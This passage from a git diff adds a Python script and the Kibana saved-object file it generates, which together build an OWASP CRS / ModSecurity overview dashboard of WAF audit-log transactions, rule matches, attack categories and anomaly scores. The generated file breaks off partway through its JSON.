False, + } + if split: + layer_def["splitAccessor"] = split + vis = { + "legend": {"isVisible": True, "position": "right"}, + "valueLabels": "hide", + "fittingFunction": "None", + "axisTitlesVisibilitySettings": {"x": False, "yLeft": False, "yRight": True}, + "tickLabelsVisibilitySettings": {"x": True, "yLeft": True, "yRight": True}, + "labelsOrientation": {"x": 0, "yLeft": 0, "yRight": 0}, + "gridlinesVisibilitySettings": {"x": True, "yLeft": True, "yRight": True}, + "preferredSeriesType": series, + "layers": [layer_def], + } + add_lens(panel_id, title, "lnsXY", columns, vis, x, y, w, h) + + +# Row 1: headline numbers +metric("p-total", "Transactions logged", col_count("Transactions logged"), 0, 0) +metric("p-blocked", "Blocked", col_count("Blocked", "modsec.blocked : true"), 12, 0, color="#bd271e") +metric("p-alerts", "Rule matches", col_sum("modsec.rule.count", "Rule matches"), 24, 0) +metric("p-clients", "Distinct clients", col_unique("client.ip", "Distinct clients"), 36, 0) + +# Row 2: timeline + attack categories +bars( + "p-timeline", + "Transactions over time: blocked vs. logged only", + col_date_histogram(), + { + "o": col_filters( + "Outcome", + [("Blocked", "modsec.blocked : true"), ("Logged only", "modsec.blocked : false")], + ), + "c": col_count(), + }, + ["c"], + 0, 6, 32, 12, + split="o", +) +pie("p-attack", "Attack categories (CRS attack-* tags)", col_terms("modsec.attack", "Category", "c"), 32, 6) + +# Row 3: top rules and top URLs +table( + "p-rules", + "Top rules", + col_terms("modsec.rule.ids", "Rule ID", "c", size=15), + 0, 18, + extra_metrics={"b": col_count("Blocked", "modsec.blocked : true")}, +) +table( + "p-urls", + "Most targeted paths", + col_terms("url.path", "Path", "c", size=15), + 24, 18, + extra_metrics={"b": col_count("Blocked", "modsec.blocked : true")}, +) + +# Row 4: clients, paranoia level, severity +bars( + "p-clients-bar", + "Top clients", + col_terms("client.ip", "Client", "c", size=10, data_type="ip"), + {"c": col_count()}, + ["c"], + 0, 32, 16, 12, + series="bar_horizontal", +) +pie("p-pl", "Paranoia level of matched rules", col_terms("modsec.paranoia_level", "PL", "c"), 16, 32) +pie("p-sev", "Highest severity per transaction", col_terms("modsec.rule.top_severity", "Severity", "c"), 32, 32) + +# Row 5: anomaly scores +score_col = col_terms("modsec.anomaly.inbound_detection", "Inbound detection score", "c", size=25, data_type="number") +score_col["params"]["orderBy"] = {"type": "alphabetical"} +score_col["params"]["orderDirection"] = "asc" +bars( + "p-score-hist", + "Inbound anomaly score distribution (detection PL)", + score_col, + {"c": col_count()}, + ["c"], + 0, 44, 24, 12, + series="bar", +) +bars( + "p-score-time", + "Highest inbound score per interval: blocking PL vs. detection PL", + col_date_histogram(), + { + "b": col_max("modsec.anomaly.inbound_blocking", "Blocking PL score"), + "d": col_max("modsec.anomaly.inbound_detection", "Detection PL score"), + }, + ["b", "d"], + 24, 44, 24, 12, + series="line", +) + +# Row 6: the raw transactions (saved Discover session, by reference) +panels.append( + { + "version": KIBANA_VERSION, + "type": "search", + "gridData": {"x": 0, "y": 56, "w": 48, "h": 18, "i": SEARCH_ID}, + "panelIndex": SEARCH_ID, + "title": "Transactions", + "embeddableConfig": {"enhancements": {}}, + "panelRefName": f"panel_{SEARCH_ID}", + } +) + +# --------------------------------------------------------------------------- +# Saved objects +# --------------------------------------------------------------------------- + +data_view = { + "id": DATA_VIEW_ID, + "type": "index-pattern", + "attributes": { + "title": "modsec-audit-*", + "name": "ModSecurity audit log", + "timeFieldName": "@timestamp", + "allowHidden": False, + "fieldAttrs": "{}", + "fieldFormatMap": "{}", + "runtimeFieldMap": "{}", + "sourceFilters": "[]", + "fields": "[]", + }, + "references": [], + "managed": False, +} + +# Discover sessions are stored as "tabs" since Kibana 9.x. +search = { + "id": SEARCH_ID, + "type": "search", + "attributes": { + "title": "CRS transactions", + "description": "ModSecurity audit log entries with the CRS summary fields", + "tabs": [ + { + "id": "crs-modsec-transactions-tab", + "label": "Transactions", + "attributes": { + "columns": [ + "modsec.blocked", + "client.ip", + "http.request.method", + "url.original", + "http.response.status_code", + "modsec.anomaly.inbound_detection", + "modsec.attack", + "modsec.rule.ids", + ], + "sort": [["@timestamp", "desc"]], + "grid": {}, + "hideChart": True, + "isTextBasedQuery": False, + "kibanaSavedObjectMeta": { + "searchSourceJSON": json.dumps( + { + "query": {"query": "", "language": "kuery"}, + "filter": [], + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.index", + } + ) + }, + }, + } + ], + }, + "references": [ + { + "name": "kibanaSavedObjectMeta.searchSourceJSON.index", + "type": "index-pattern", + "id": DATA_VIEW_ID, + } + ], + "managed": False, +} + +dashboard = { + "id": DASHBOARD_ID, + "type": "dashboard", + "attributes": { + "title": "OWASP CRS - ModSecurity overview", + "description": "What the WAF is seeing: blocked vs. logged transactions, top rules, attack categories, anomaly scores.", + "panelsJSON": json.dumps(panels), + "optionsJSON": json.dumps( + {"useMargins": True, "syncColors": False, "syncCursor": True, "syncTooltips": False, "hidePanelTitles": False} + ), + "timeRestore": True, + "timeFrom": "now-24h", + "timeTo": "now", + "refreshInterval": {"pause": False, "value": 30000}, + "version": 1, + "kibanaSavedObjectMeta": { + "searchSourceJSON": json.dumps({"query": {"query": "", "language": "kuery"}, "filter": []}) + }, + }, + "references": references, + "managed": False, +} + +# Saved object migration versions as written by Kibana 9.5. With these set, +# the import skips the migration chain (which cannot handle by-value Lens +# panels written in the current format). Bump them when Kibana changes. +MIGRATION_VERSIONS = { + "index-pattern": "8.0.0", + "search": "10.13.0", + "dashboard": "10.3.0", +} + +for obj in (data_view, search, dashboard): + obj["coreMigrationVersion"] = "8.8.0" + obj["typeMigrationVersion"] = MIGRATION_VERSIONS[obj["type"]] + sys.stdout.write(json.dumps(obj) + "\n") diff --git a/examples/crs-logging/elk/kibana/crs-dashboard.ndjson b/examples/crs-logging/elk/kibana/crs-dashboard.ndjson new file mode 100644 index 00000000..ea5974d0 --- /dev/null +++ b/examples/crs-logging/elk/kibana/crs-dashboard.ndjson @@ -0,0 +1,3 @@ +{"id": "crs-modsec-audit", "type": "index-pattern", "attributes": {"title": "modsec-audit-*", "name": "ModSecurity audit log", "timeFieldName": "@timestamp", "allowHidden": false, "fieldAttrs": "{}", "fieldFormatMap": "{}", "runtimeFieldMap": "{}", "sourceFilters": "[]", "fields": "[]"}, "references": [], "managed": false, "coreMigrationVersion": "8.8.0", "typeMigrationVersion": "8.0.0"} +{"id": "crs-modsec-transactions", "type": "search", "attributes": {"title": "CRS transactions", "description": "ModSecurity audit log entries with the CRS summary fields", "tabs": [{"id": "crs-modsec-transactions-tab", "label": "Transactions", "attributes": {"columns": ["modsec.blocked", "client.ip", "http.request.method", "url.original", "http.response.status_code", "modsec.anomaly.inbound_detection", "modsec.attack", "modsec.rule.ids"], "sort": [["@timestamp", "desc"]], "grid": {}, "hideChart": true, "isTextBasedQuery": false, "kibanaSavedObjectMeta": {"searchSourceJSON": "{\"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filter\": [], \"indexRefName\": \"kibanaSavedObjectMeta.searchSourceJSON.index\"}"}}}]}, "references": [{"name": "kibanaSavedObjectMeta.searchSourceJSON.index", "type": "index-pattern", "id": "crs-modsec-audit"}], "managed": false, "coreMigrationVersion": "8.8.0", "typeMigrationVersion": "10.13.0"} +{"id": "crs-modsec-overview", "type": "dashboard", "attributes": {"title": "OWASP CRS - ModSecurity overview", "description": "What the WAF is seeing: blocked vs. logged transactions, top rules, attack categories, anomaly scores.", "panelsJSON": "[{\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 0, \"y\": 0, \"w\": 12, \"h\": 6, \"i\": \"p-total\"}, \"panelIndex\": \"p-total\", \"title\": \"Transactions logged\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Transactions logged\", \"visualizationType\": \"lnsMetric\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-total\"}], \"state\": {\"visualization\": {\"layerId\": \"layer-p-total\", \"layerType\": \"data\", \"metricAccessor\": \"m\"}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-total\": {\"columns\": {\"m\": {\"label\": \"Transactions logged\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"m\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}, \"hidePanelTitles\": true}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 12, \"y\": 0, \"w\": 12, \"h\": 6, \"i\": \"p-blocked\"}, \"panelIndex\": \"p-blocked\", \"title\": \"Blocked\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Blocked\", \"visualizationType\": \"lnsMetric\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-blocked\"}], \"state\": {\"visualization\": {\"layerId\": \"layer-p-blocked\", \"layerType\": \"data\", \"metricAccessor\": \"m\", \"color\": \"#bd271e\"}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-blocked\": {\"columns\": {\"m\": {\"label\": \"Blocked\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}, \"filter\": {\"query\": \"modsec.blocked : true\", \"language\": \"kuery\"}}}, \"columnOrder\": [\"m\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}, \"hidePanelTitles\": true}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 24, \"y\": 0, \"w\": 12, \"h\": 6, \"i\": \"p-alerts\"}, \"panelIndex\": \"p-alerts\", \"title\": \"Rule matches\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Rule matches\", \"visualizationType\": \"lnsMetric\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-alerts\"}], \"state\": {\"visualization\": {\"layerId\": \"layer-p-alerts\", \"layerType\": \"data\", \"metricAccessor\": \"m\"}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-alerts\": {\"columns\": {\"m\": {\"label\": \"Rule matches\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"sum\", \"sourceField\": \"modsec.rule.count\", \"isBucketed\": false, \"scale\": \"ratio\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"m\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}, \"hidePanelTitles\": true}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 36, \"y\": 0, \"w\": 12, \"h\": 6, \"i\": \"p-clients\"}, \"panelIndex\": \"p-clients\", \"title\": \"Distinct clients\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Distinct clients\", \"visualizationType\": \"lnsMetric\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-clients\"}], \"state\": {\"visualization\": {\"layerId\": \"layer-p-clients\", \"layerType\": \"data\", \"metricAccessor\": \"m\"}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-clients\": {\"columns\": {\"m\": {\"label\": \"Distinct clients\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"unique_count\", \"sourceField\": \"client.ip\", \"isBucketed\": false, \"scale\": \"ratio\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"m\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}, \"hidePanelTitles\": true}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 0, \"y\": 6, \"w\": 32, \"h\": 12, \"i\": \"p-timeline\"}, \"panelIndex\": \"p-timeline\", \"title\": \"Transactions over time: blocked vs. logged only\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Transactions over time: blocked vs. logged only\", \"visualizationType\": \"lnsXY\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-timeline\"}], \"state\": {\"visualization\": {\"legend\": {\"isVisible\": true, \"position\": \"right\"}, \"valueLabels\": \"hide\", \"fittingFunction\": \"None\", \"axisTitlesVisibilitySettings\": {\"x\": false, \"yLeft\": false, \"yRight\": true}, \"tickLabelsVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"labelsOrientation\": {\"x\": 0, \"yLeft\": 0, \"yRight\": 0}, \"gridlinesVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"preferredSeriesType\": \"bar_stacked\", \"layers\": [{\"layerId\": \"layer-p-timeline\", \"layerType\": \"data\", \"seriesType\": \"bar_stacked\", \"accessors\": [\"c\"], \"xAccessor\": \"x\", \"position\": \"top\", \"showGridlines\": false, \"splitAccessor\": \"o\"}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-timeline\": {\"columns\": {\"x\": {\"label\": \"@timestamp\", \"dataType\": \"date\", \"operationType\": \"date_histogram\", \"sourceField\": \"@timestamp\", \"isBucketed\": true, \"scale\": \"interval\", \"params\": {\"interval\": \"auto\", \"includeEmptyRows\": true, \"dropPartials\": false}}, \"o\": {\"label\": \"Outcome\", \"customLabel\": true, \"dataType\": \"string\", \"operationType\": \"filters\", \"scale\": \"ordinal\", \"isBucketed\": true, \"params\": {\"filters\": [{\"input\": {\"query\": \"modsec.blocked : true\", \"language\": \"kuery\"}, \"label\": \"Blocked\"}, {\"input\": {\"query\": \"modsec.blocked : false\", \"language\": \"kuery\"}, \"label\": \"Logged only\"}]}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"x\", \"o\", \"c\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 32, \"y\": 6, \"w\": 16, \"h\": 12, \"i\": \"p-attack\"}, \"panelIndex\": \"p-attack\", \"title\": \"Attack categories (CRS attack-* tags)\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Attack categories (CRS attack-* tags)\", \"visualizationType\": \"lnsPie\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-attack\"}], \"state\": {\"visualization\": {\"shape\": \"donut\", \"layers\": [{\"layerId\": \"layer-p-attack\", \"layerType\": \"data\", \"primaryGroups\": [\"g\"], \"metrics\": [\"c\"], \"numberDisplay\": \"percent\", \"categoryDisplay\": \"default\", \"legendDisplay\": \"show\", \"legendPosition\": \"right\", \"nestedLegend\": false}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-attack\": {\"columns\": {\"g\": {\"label\": \"Category\", \"customLabel\": true, \"dataType\": \"string\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"modsec.attack\", \"isBucketed\": true, \"params\": {\"size\": 8, \"orderBy\": {\"type\": \"column\", \"columnId\": \"c\"}, \"orderDirection\": \"desc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"g\", \"c\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 0, \"y\": 18, \"w\": 24, \"h\": 14, \"i\": \"p-rules\"}, \"panelIndex\": \"p-rules\", \"title\": \"Top rules\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Top rules\", \"visualizationType\": \"lnsDatatable\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-rules\"}], \"state\": {\"visualization\": {\"layerId\": \"layer-p-rules\", \"layerType\": \"data\", \"columns\": [{\"columnId\": \"g\"}, {\"columnId\": \"c\"}, {\"columnId\": \"b\"}], \"sorting\": {\"columnId\": \"c\", \"direction\": \"desc\"}, \"rowHeight\": \"single\", \"headerRowHeight\": \"single\"}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-rules\": {\"columns\": {\"g\": {\"label\": \"Rule ID\", \"customLabel\": true, \"dataType\": \"string\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"modsec.rule.ids\", \"isBucketed\": true, \"params\": {\"size\": 15, \"orderBy\": {\"type\": \"column\", \"columnId\": \"c\"}, \"orderDirection\": \"desc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}, \"b\": {\"label\": \"Blocked\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}, \"filter\": {\"query\": \"modsec.blocked : true\", \"language\": \"kuery\"}}}, \"columnOrder\": [\"g\", \"c\", \"b\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 24, \"y\": 18, \"w\": 24, \"h\": 14, \"i\": \"p-urls\"}, \"panelIndex\": \"p-urls\", \"title\": \"Most targeted paths\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Most targeted paths\", \"visualizationType\": \"lnsDatatable\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-urls\"}], \"state\": {\"visualization\": {\"layerId\": \"layer-p-urls\", \"layerType\": \"data\", \"columns\": [{\"columnId\": \"g\"}, {\"columnId\": \"c\"}, {\"columnId\": \"b\"}], \"sorting\": {\"columnId\": \"c\", \"direction\": \"desc\"}, \"rowHeight\": \"single\", \"headerRowHeight\": \"single\"}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-urls\": {\"columns\": {\"g\": {\"label\": \"Path\", \"customLabel\": true, \"dataType\": \"string\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"url.path\", \"isBucketed\": true, \"params\": {\"size\": 15, \"orderBy\": {\"type\": \"column\", \"columnId\": \"c\"}, \"orderDirection\": \"desc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}, \"b\": {\"label\": \"Blocked\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}, \"filter\": {\"query\": \"modsec.blocked : true\", \"language\": \"kuery\"}}}, \"columnOrder\": [\"g\", \"c\", \"b\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 0, \"y\": 32, \"w\": 16, \"h\": 12, \"i\": \"p-clients-bar\"}, \"panelIndex\": \"p-clients-bar\", \"title\": \"Top clients\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Top clients\", \"visualizationType\": \"lnsXY\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-clients-bar\"}], \"state\": {\"visualization\": {\"legend\": {\"isVisible\": true, \"position\": \"right\"}, \"valueLabels\": \"hide\", \"fittingFunction\": \"None\", \"axisTitlesVisibilitySettings\": {\"x\": false, \"yLeft\": false, \"yRight\": true}, \"tickLabelsVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"labelsOrientation\": {\"x\": 0, \"yLeft\": 0, \"yRight\": 0}, \"gridlinesVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"preferredSeriesType\": \"bar_horizontal\", \"layers\": [{\"layerId\": \"layer-p-clients-bar\", \"layerType\": \"data\", \"seriesType\": \"bar_horizontal\", \"accessors\": [\"c\"], \"xAccessor\": \"x\", \"position\": \"top\", \"showGridlines\": false}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-clients-bar\": {\"columns\": {\"x\": {\"label\": \"Client\", \"customLabel\": true, \"dataType\": \"ip\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"client.ip\", \"isBucketed\": true, \"params\": {\"size\": 10, \"orderBy\": {\"type\": \"column\", \"columnId\": \"c\"}, \"orderDirection\": \"desc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"x\", \"c\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 16, \"y\": 32, \"w\": 16, \"h\": 12, \"i\": \"p-pl\"}, \"panelIndex\": \"p-pl\", \"title\": \"Paranoia level of matched rules\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Paranoia level of matched rules\", \"visualizationType\": \"lnsPie\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-pl\"}], \"state\": {\"visualization\": {\"shape\": \"donut\", \"layers\": [{\"layerId\": \"layer-p-pl\", \"layerType\": \"data\", \"primaryGroups\": [\"g\"], \"metrics\": [\"c\"], \"numberDisplay\": \"percent\", \"categoryDisplay\": \"default\", \"legendDisplay\": \"show\", \"legendPosition\": \"right\", \"nestedLegend\": false}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-pl\": {\"columns\": {\"g\": {\"label\": \"PL\", \"customLabel\": true, \"dataType\": \"string\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"modsec.paranoia_level\", \"isBucketed\": true, \"params\": {\"size\": 8, \"orderBy\": {\"type\": \"column\", \"columnId\": \"c\"}, \"orderDirection\": \"desc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"g\", \"c\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 32, \"y\": 32, \"w\": 16, \"h\": 12, \"i\": \"p-sev\"}, \"panelIndex\": \"p-sev\", \"title\": \"Highest severity per transaction\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Highest severity per transaction\", \"visualizationType\": \"lnsPie\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-sev\"}], \"state\": {\"visualization\": {\"shape\": \"donut\", \"layers\": [{\"layerId\": \"layer-p-sev\", \"layerType\": \"data\", \"primaryGroups\": [\"g\"], \"metrics\": [\"c\"], \"numberDisplay\": \"percent\", \"categoryDisplay\": \"default\", \"legendDisplay\": \"show\", \"legendPosition\": \"right\", \"nestedLegend\": false}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-sev\": {\"columns\": {\"g\": {\"label\": \"Severity\", \"customLabel\": true, \"dataType\": \"string\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"modsec.rule.top_severity\", \"isBucketed\": true, \"params\": {\"size\": 8, \"orderBy\": {\"type\": \"column\", \"columnId\": \"c\"}, \"orderDirection\": \"desc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"g\", \"c\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 0, \"y\": 44, \"w\": 24, \"h\": 12, \"i\": \"p-score-hist\"}, \"panelIndex\": \"p-score-hist\", \"title\": \"Inbound anomaly score distribution (detection PL)\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Inbound anomaly score distribution (detection PL)\", \"visualizationType\": \"lnsXY\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-score-hist\"}], \"state\": {\"visualization\": {\"legend\": {\"isVisible\": true, \"position\": \"right\"}, \"valueLabels\": \"hide\", \"fittingFunction\": \"None\", \"axisTitlesVisibilitySettings\": {\"x\": false, \"yLeft\": false, \"yRight\": true}, \"tickLabelsVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"labelsOrientation\": {\"x\": 0, \"yLeft\": 0, \"yRight\": 0}, \"gridlinesVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"preferredSeriesType\": \"bar\", \"layers\": [{\"layerId\": \"layer-p-score-hist\", \"layerType\": \"data\", \"seriesType\": \"bar\", \"accessors\": [\"c\"], \"xAccessor\": \"x\", \"position\": \"top\", \"showGridlines\": false}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-score-hist\": {\"columns\": {\"x\": {\"label\": \"Inbound detection score\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"terms\", \"scale\": \"ordinal\", \"sourceField\": \"modsec.anomaly.inbound_detection\", \"isBucketed\": true, \"params\": {\"size\": 25, \"orderBy\": {\"type\": \"alphabetical\"}, \"orderDirection\": \"asc\", \"otherBucket\": false, \"missingBucket\": false, \"parentFormat\": {\"id\": \"terms\"}, \"include\": [], \"exclude\": [], \"includeIsRegex\": false, \"excludeIsRegex\": false}}, \"c\": {\"label\": \"Transactions\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"count\", \"isBucketed\": false, \"scale\": \"ratio\", \"sourceField\": \"___records___\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"x\", \"c\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": 